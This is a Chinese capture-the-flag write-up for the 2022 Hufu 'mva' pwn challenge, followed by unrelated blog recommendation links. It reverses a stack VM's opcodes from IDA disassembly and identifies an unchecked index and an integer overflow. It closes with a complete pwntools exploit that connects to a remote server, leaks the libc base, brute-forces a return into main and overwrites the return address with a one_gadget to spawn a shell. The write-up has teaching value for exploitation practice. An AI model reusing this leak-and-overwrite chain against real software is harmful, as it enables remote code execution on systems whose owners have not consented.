给了个docker环境
但是其实就是告诉你环境是ubuntu20.04

保护就是全绿

看起来似乎很简单
刚开始需要一堆输入
然后在那个11e9函数做一个简单的处理
然后就有一个jmp rax。

但是我们发现jmp rax下面并不简单
因为看得出来那个v4可以有16个数
因为jmp rax没法直接显示了
我们只能去看汇编

事后有了个招

我们首先看一下它会跳到哪
刚开始的rax是我们输入的序号
看下来新地址就是 206c + [rax * 4 + 206c]

所以我们根据它来做简单的计算就能得出16个功能的地址

然后就是开始读汇编程序

23c  转过来的四个字节
转过来的
240  第一个字节
249  第二个字节
248 第三个字节
247 第四个字节
23e 3 4个字节0功能直接退出
1功能 249要0-5 不然退出跳到1421
.text:0000000000001421                 movsx   eax, [rbp+var_249]
.text:0000000000001428                 cdqe
.text:000000000000142A                 movzx   edx, [rbp+var_23E]
.text:0000000000001431                 mov     word ptr [rbp+rax*2+var_21C], dx
'''3 4个字节放在以第二个字节为序号的21c栈里
'''2功能 249  248 247 都要为0-5
.text:0000000000001492 loc_1492:                               ; CODE XREF: main+1DC↑j
.text:0000000000001492                 movsx   eax, [rbp+var_248]
.text:0000000000001499                 cdqe
.text:000000000000149B                 movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:00000000000014A3                 movsx   eax, [rbp+var_247]
.text:00000000000014AA                 cdqe
.text:00000000000014AC                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:00000000000014B4                 movsx   eax, [rbp+var_249]
.text:00000000000014BB                 add     edx, ecx
.text:00000000000014BD                 cdqe
.text:00000000000014BF                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000014C7                 jmp     loc_1A2B
'''
248  、 247 值取出来加起来放在249
'''3功能同上
.text:0000000000001520 loc_1520:                               ; CODE XREF: main+26A↑j
.text:0000000000001520                 movsx   eax, [rbp+var_248]
.text:0000000000001527                 cdqe
.text:0000000000001529                 movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001531                 movsx   eax, [rbp+var_247]
.text:0000000000001538                 cdqe
.text:000000000000153A                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001542                 movsx   eax, [rbp+var_249]
.text:0000000000001549                 sub     ecx, edx
.text:000000000000154B                 mov     edx, ecx
.text:000000000000154D                 cdqe
.text:000000000000154F                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:0000000000001557                 jmp     loc_1A2B
'''
248 - 247 放在249
'''4同上
.text:00000000000015B0 loc_15B0:                               ; CODE XREF: main+2FA↑j
.text:00000000000015B0                 movsx   eax, [rbp+var_248]
.text:00000000000015B7                 cdqe
.text:00000000000015B9                 movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:00000000000015C1                 movsx   eax, [rbp+var_247]
.text:00000000000015C8                 cdqe
.text:00000000000015CA                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:00000000000015D2                 movsx   eax, [rbp+var_249]
.text:00000000000015D9                 and     edx, ecx
.text:00000000000015DB                 cdqe
.text:00000000000015DD                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000015E5                 jmp     loc_1A2B
'''
247 & 248 放在249
'''5同上
.text:000000000000163E loc_163E:                               ; CODE XREF: main+388↑j
.text:000000000000163E                 movsx   eax, [rbp+var_248]
.text:0000000000001645                 cdqe
.text:0000000000001647                 movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:000000000000164F                 movsx   eax, [rbp+var_247]
.text:0000000000001656                 cdqe
.text:0000000000001658                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001660                 movsx   eax, [rbp+var_249]
.text:0000000000001667                 or      edx, ecx
.text:0000000000001669                 cdqe
.text:000000000000166B                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:0000000000001673                 jmp     loc_1A2B
'''
247 | 248 放在249
'''6 249  248就可以
.text:00000000000016B0 loc_16B0:                               ; CODE XREF: main+3FA↑j
.text:00000000000016B0                 movsx   eax, [rbp+var_249]
.text:00000000000016B7                 cdqe
.text:00000000000016B9                 movzx   eax, word ptr [rbp+rax*2+var_21C]
.text:00000000000016C1                 movzx   edx, ax
.text:00000000000016C4                 movsx   eax, [rbp+var_248]
.text:00000000000016CB                 cdqe
.text:00000000000016CD                 movzx   eax, word ptr [rbp+rax*2+var_21C]
.text:00000000000016D5                 movzx   eax, ax
.text:00000000000016D8                 mov     ecx, eax
.text:00000000000016DA                 sar     edx, cl
.text:00000000000016DC                 movsx   eax, [rbp+var_249]
.text:00000000000016E3                 cdqe
.text:00000000000016E5                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000016ED                 jmp     loc_1A2B
'''
把249 >> 248 放在249
'''7  249 248 247
.text:0000000000001746                 movsx   eax, [rbp+var_248]
.text:000000000000174D                 cdqe
.text:000000000000174F                 movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001757                 movsx   eax, [rbp+var_247]
.text:000000000000175E                 cdqe
.text:0000000000001760                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001768                 movsx   eax, [rbp+var_249]
.text:000000000000176F                 xor     edx, ecx
.text:0000000000001771                 cdqe
.text:0000000000001773                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:000000000000177B                 jmp     loc_1A2B
'''
248 异或 247 放在 249
'''8
.text:0000000000001780                 mov     eax, 0
.text:0000000000001785                 call    sub_11E9
.text:000000000000178A                 mov     [rbp+var_234], eax
.text:0000000000001790                 mov     eax, [rbp+var_234]
.text:0000000000001796                 mov     cs:dword_403C, eax
.text:000000000000179C                 jmp     loc_1A2B
'''
取一条指令放在403c
同时234里面也会有这指令
'''9
.text:00000000000017A1                 mov     rax, [rbp+var_230]
.text:00000000000017A8                 cmp     rax, 100h
.text:00000000000017AE                 jle     short loc_17BA
.text:00000000000017B0                 mov     edi, 0          ; status
.text:00000000000017B5                 call    _exit
.text:00000000000017BA ; ---------------------------------------------------------------------------
.text:00000000000017BA
.text:00000000000017BA loc_17BA:                               ; CODE XREF: main+504↑j
.text:00000000000017BA                 cmp     [rbp+var_249], 0
.text:00000000000017C1                 jnz     short loc_17E6
.text:00000000000017C3                 movsx   edx, [rbp+var_249]
.text:00000000000017CA                 mov     rax, [rbp+var_230]
.text:00000000000017D1                 movsxd  rdx, edx
.text:00000000000017D4                 movzx   edx, word ptr [rbp+rdx*2+var_21C].text:00000000000017DC                 mov     [rbp+rax*2+var_210], dx
.text:00000000000017E4                 jmp     short loc_17FC
.text:00000000000017E6 ; ---------------------------------------------------------------------------
.text:00000000000017E6
.text:00000000000017E6 loc_17E6:                               ; CODE XREF: main+517↑j
.text:00000000000017E6                 mov     rax, [rbp+var_230]
.text:00000000000017ED                 movzx   edx, [rbp+var_23E]
.text:00000000000017F4                 mov     [rbp+rax*2+var_210], dx
.text:00000000000017FC
.text:00000000000017FC loc_17FC:                               ; CODE XREF: main+53A↑j
.text:00000000000017FC                 mov     rax, [rbp+var_230]
.text:0000000000001803                 add     rax, 1
.text:0000000000001807                 mov     [rbp+var_230], rax
.text:000000000000180E                 jmp     loc_1A2B
'''
230 小于等于100
249是0就把21c序号为249那里的放在210序号是230那里,然后230那里的加1
249不是0就23e取出来放在210栈的230序号处210看起来是个栈
这是个压栈
esp指针这里用的是230
'''a  249 0-5  230不是0
.text:0000000000001845 loc_1845:                               ; CODE XREF: main+58F↑j
.text:0000000000001845                 mov     rax, [rbp+var_230]
.text:000000000000184C                 sub     rax, 1
.text:0000000000001850                 mov     [rbp+var_230], rax
.text:0000000000001857                 movsx   ecx, [rbp+var_249]
.text:000000000000185E                 movzx   edx, [rbp+rax*2+var_210]
.text:0000000000001866                 movsxd  rax, ecx
.text:0000000000001869                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:0000000000001871                 jmp     loc_1A2B
'''
230-1
249为序号把210里的放在21c
那这个显然就是出栈
'''b
.text:0000000000001876                 mov     eax, 0
.text:000000000000187B                 call    sub_11E9
.text:0000000000001880                 mov     [rbp+var_238], eax
.text:0000000000001886                 cmp     [rbp+var_246], 1
.text:000000000000188E                 jnz     loc_1A2A
.text:0000000000001894                 mov     eax, [rbp+var_238]
.text:000000000000189A                 mov     cs:dword_403C, eax
.text:00000000000018A0                 jmp     loc_1A2A
'''
246为1取一条指令放在238
然后放在403c
'''c 249 248 0-5
.text:00000000000018DD loc_18DD:                               ; CODE XREF: main+627↑j
.text:00000000000018DD                 movsx   eax, [rbp+var_249]
.text:00000000000018E4                 cdqe
.text:00000000000018E6                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:00000000000018EE                 movsx   eax, [rbp+var_248]
.text:00000000000018F5                 cdqe
.text:00000000000018F7                 movzx   eax, word ptr [rbp+rax*2+var_21C]
.text:00000000000018FF                 cmp     dx, ax
.text:0000000000001902                 jnz     short loc_1912
.text:0000000000001904                 mov     [rbp+var_246], 1
.text:000000000000190D                 jmp     loc_1A2B.text:0000000000001912                 mov     [rbp+var_246], 0
.text:000000000000191B                 jmp     loc_1A2B'''
21c的249  248取出来比较
相同246为1
不同为0
'''d  249 247 0-5
.text:0000000000001974 loc_1974:                               ; CODE XREF: main+6BE↑j
.text:0000000000001974                 movsx   eax, [rbp+var_248]
.text:000000000000197B                 cdqe
.text:000000000000197D                 movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001985                 movsx   eax, [rbp+var_247]
.text:000000000000198C                 cdqe
.text:000000000000198E                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001996                 movsx   eax, [rbp+var_249]
.text:000000000000199D                 imul    edx, ecx
.text:00000000000019A0                 cdqe
.text:00000000000019A2                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000019AA                 jmp     short loc_1A2B
'''
248 * 247 = 249
'''e
.text:00000000000019AC                 cmp     [rbp+var_249], 5
.text:00000000000019B3                 jg      short loc_19BE
.text:00000000000019B5                 cmp     [rbp+var_249], 0
.text:00000000000019BC                 jns     short loc_19C8
.text:00000000000019BE
.text:00000000000019BE loc_19BE:                               ; CODE XREF: main+709↑j
.text:00000000000019BE                 mov     edi, 0          ; status
.text:00000000000019C3                 call    _exit
.text:00000000000019C8 ; ---------------------------------------------------------------------------
.text:00000000000019C8
.text:00000000000019C8 loc_19C8:                               ; CODE XREF: main+712↑j
.text:00000000000019C8                 cmp     [rbp+var_248], 5
.text:00000000000019CF                 jle     short loc_19DB
.text:00000000000019D1                 mov     edi, 0          ; status
.text:00000000000019D6                 call    _exit
.text:00000000000019DB ; ---------------------------------------------------------------------------
.text:00000000000019DB
.text:00000000000019DB loc_19DB:                               ; CODE XREF: main+725↑j
.text:00000000000019DB                 movsx   eax, [rbp+var_249]
.text:00000000000019E2                 movsx   ecx, [rbp+var_248]
.text:00000000000019E9                 cdqe
.text:00000000000019EB                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:00000000000019F3                 movsxd  rax, ecx
.text:00000000000019F6                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000019FE                 jmp     short loc_1A2B
'''
248突然少了个比较……
249放在248为序号  21c的地方
前面都248有比较
这就没有
整数溢出???
'''f
.text:0000000000001A00                 mov     rax, [rbp+var_230]
.text:0000000000001A07                 movzx   eax, [rbp+rax*2+var_210]
.text:0000000000001A0F                 movzx   eax, ax
.text:0000000000001A12                 mov     esi, eax
.text:0000000000001A14                 lea     rdi, aD         ; "%d\n"
.text:0000000000001A1B                 mov     eax, 0
.text:0000000000001A20                 call    _printf
.text:0000000000001A25                 jmp     short loc_1A2B
'''
230序号 在210中输出数字
'''

所以总结一下
在功能e里面的v248可以整数溢出,能覆盖栈v21c往上的地方。
功能9的v2e0又有整数溢出,可以任意写。

所以我们的思路就是
因为只能循环一次

我们在第一次循环的时候利用功能e覆盖v230再利用功能f输出libc地址
然后我们要想办法创造一次函数返回

我们利用_libc_start_main里面的一个gadget
利用这个gadget可以让他直接再回到main函数

但是因为每次写必须写两个字节,所以这里会爆破半个字节,也就是1/16

然后第二次利用就直接改main函数返回地址为one_gadget就可以了

exp

from pwn import *context.log_level = 'debug'#r = process("./mva")
r = remote("119.23.155.14", 38229)
#gdb.attach(r, "b *$rebase(0x13f4) \n c \n")payload = ""
payload += "\x01\x00\x01\x0c" #21c[0] =  0x10c
payload += "\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += "\x0f\x00\x00\x00" #printf(libc)
payload += "\x01\x00\x01\x0d" #21c[0] =  0x10d
payload += "\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += "\x0f\x00\x00\x00" #printf(libc)
payload += "\x01\x00\x01\x0e" #21c[0] =  0x10e
payload += "\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += "\x0f\x00\x00\x00" #printf(libc)payload += "\x01\x00\x01\x0c" #21c[0] =  0x010c
payload += "\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += "\x01\x00\x00\x00" #21c[0] =  0x0000
payload += "\x0e\x00\xf7\x00" #21c[-9] = 21c[0]
payload += "\x01\x00\x00\x00" #21c[0] =  0x0000
payload += "\x0e\x00\xf8\x00" #21c[-8] = 21c[0]
payload += "\x01\x00\x80\x00" #21c[0] =  0x8000
payload += "\x0e\x00\xf9\x00" #21c[-7] = 21c[0]
payload += "\x09\x01\x50\xac" #main
payload += "\x00\x00\x00\x00" #call mainr.sendafter("input your code now :", payload.ljust(0x100, "\xff"))
r.recvuntil("[+] MVA is starting ...\n")s = r.recvuntil('\n')[:-1]
ss = r.recvuntil('\n')[:-1]
sss = r.recvuntil('\n')[:-1]
libc_base = (int(sss) << 32) + (int(ss) << 16) + int(s) - 0x240b3
#one_gadget = libc_base + 0xe3b2e
one_gadget = libc_base + 0xe3b31
#one_gadget = libc_base + 0xe3b34
print("libc_base = " + hex(libc_base))
print("one_gadget = " + hex(one_gadget))payload = b"a" * 0x4c
payload += b"\x01\x00\x01\x0c" #21c[0] =  0x010c
payload += b"\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += b"\x01\x00\x00\x00" #21c[0] =  0x0000
payload += b"\x0e\x00\xf7\x00" #21c[-9] = 21c[0]
payload += b"\x01\x00\x00\x00" #21c[0] =  0x0000
payload += b"\x0e\x00\xf8\x00" #21c[-8] = 21c[0]
payload += b"\x01\x00\x80\x00" #21c[0] =  0x8000
payload += b"\x0e\x00\xf9\x00" #21c[-7] = 21c[0]
payload += b"\x09\x01"
payload += p8((one_gadget & (0xff00)) >> 8) + p8(one_gadget & 0xff) #shellpayload += b"\x01\x00\x01\x0d" #21c[0] =  0x010d
payload += b"\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += b"\x01\x00\x00\x00" #21c[0] =  0x0000
payload += b"\x0e\x00\xf7\x00" #21c[-9] = 21c[0]
payload += b"\x01\x00\x00\x00" #21c[0] =  0x0000
payload += b"\x0e\x00\xf8\x00" #21c[-8] = 21c[0]
payload += b"\x01\x00\x80\x00" #21c[0] =  0x8000
payload += b"\x0e\x00\xf9\x00" #21c[-7] = 21c[0]
payload += b"\x09\x01"
payload += p8((one_gadget & (0xff000000)) >> 24) + p8((one_gadget & (0xff0000)) >> 16 ) #shell
payload += b"\x00\x00\x00\x00" #get shellr.sendafter("input your code now :", payload.ljust(0x100, b"\xff"))r.interactive()

2022 虎符 pwn mva相关推荐

  1. 2022 hgame pwn wp

    2022 hgame pwn wp 本来早就写好了,但是由于复试毕设等等原因拖到今天才发 包括了绝大部分题目,除了算法题spfa和bpwn,剩下一些简单题懒得写了orz 文章目录 2022 hgame ...

  2. 2022虎符 mva

    ida 分析 ida 打开,发现反编译代码不完整. 看汇编,发现存在脏字 nop 掉后就可以看到完整代码了. 然而 case 8u: 依旧不能反编译. 认真分析了汇编发现没有问题,其实这是 ida 的 ...

  3. 2022虎符 the_shellcode

    ida attach 到进程上,然后把数据改为代码形式然后 F5 反汇编. 主体逻辑如下: int __usercall sub_1711BF@<eax>(int a1@<edi&g ...

  4. 2022-03-19

    来源:2022虎符CTF RRSSAA from Crypto.Util.number import getPrime, inverse, GCD, bytes_to_long from random ...

  5. ISCC2022--Writeup

    MISC/REVERSE/MOBILE 答题须知 系统会为选手随机分配flag,请各位选手务必下载自己账号对应的题目附件. 提交其他选手的flag将被视为作弊行为. WEB/PWN 答题须知 主办方将 ...

  6. CTFmisc类密码题思路与多种做法(CyberChef、Ciphey)

    文章目录 一.题目描述与分析 二.在线网站做法 三.CyberChef 四.Ciphey LaTeX base64后翻译 一.题目描述与分析 来源: BMZCTF第二届网络安全公开赛,主办单位:白帽子 ...

  7. 刷题记录(2023.3.14 - 2023.3.18)

    [第五空间 2021]EasyCleanup 临时文件包含考点 分析源码,两个特殊的点,一个是 eval,另一个是 include eval 经过了 strlen filter checkNums 三 ...

  8. 虎符CTF 2022 mva

    前言: 昨天刚结束的虎符CTF的一道题,开始的太晚了,比赛结束半个小时才做出来,略显可惜 逆向分析: 拿到程序,稍做处理后可以看到,首先是让我们输入一段0x100的字节,然后开始取指-执行-取指-执行 ...

  9. Pwn2Own 2022迈阿密大赛落幕 去年春季赛冠军蝉联Master of Pwn

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 2022年的迈阿密 Pwn2Own 大赛落下帷幕,主办方共为研究员发现的26个唯一0day(以及几个撞洞)颁发40万美元的奖励.冠军团队是由 D ...

最新文章

  1. ZooKeeper安装及配置(Windows系统下)
  2. sql 相加_SQL多表查询
  3. Windows下安装部署DBeaver连接clickhouse
  4. ASP.NET MVC SSO单点登录设计与实现
  5. C# 9 Lambda 小幅升级
  6. XML和HTML的不同点
  7. arp协议的主要功能是_【思唯网络学院】ARP理论知识详解(一)
  8. php 随机经纬度,随机像mariadb插入10万数据,包括经纬度以及调用百度map API获取...
  9. 如何快速制作一副地图
  10. rap开发与rcp开发_使用RAP将RCP应用程序转换为Web应用程序
  11. 湘乡秸秆综合利用组合拳完善产业链 国稻种芯现代饲料规划
  12. 拒绝低效的知识管理,从选择一款好的知识库工具开始
  13. 新知实验室 TRTC实时音视频
  14. 解决:IEDA在plugins里搜不到mybatisx插件
  15. 破解中国电信华为无线猫路由(HG522-C)自动拨号+不限电脑数+iTV
  16. Oracle 的 X$ 表之:x$kqfta 内核SQL固定表信息
  17. 2022年11月PMP考试时间出炉!考生须知
  18. 2019年小说精品整理免费API接口
  19. ldquo;阿拉丁rdquo;与ldquo;框计算rdquo;:百度推出的新计算平台
  20. 使用线程模拟倒计时和打印当前系统时间

热门文章

  1. angularjs 环境搭建
  2. linux如何下载rpm离线安装包到本机
  3. android绑定交通卡,安卓手机公交卡的用法
  4. 荐9个可以帮助你的公众号
  5. 古力娜扎秒删合影 修改年龄成亮点,疑似打脸黑粉
  6. main函数带有参数
  7. 广州尚顶网络科技有限公司二维码防伪防窜系统
  8. 看完 GitHub 上这几个奇葩项目后,我忍不住笑了 233333
  9. arraycoy java,LifeAsia 功能通过Java转移到Web
  10. 161. 相隔为 1 的编辑距离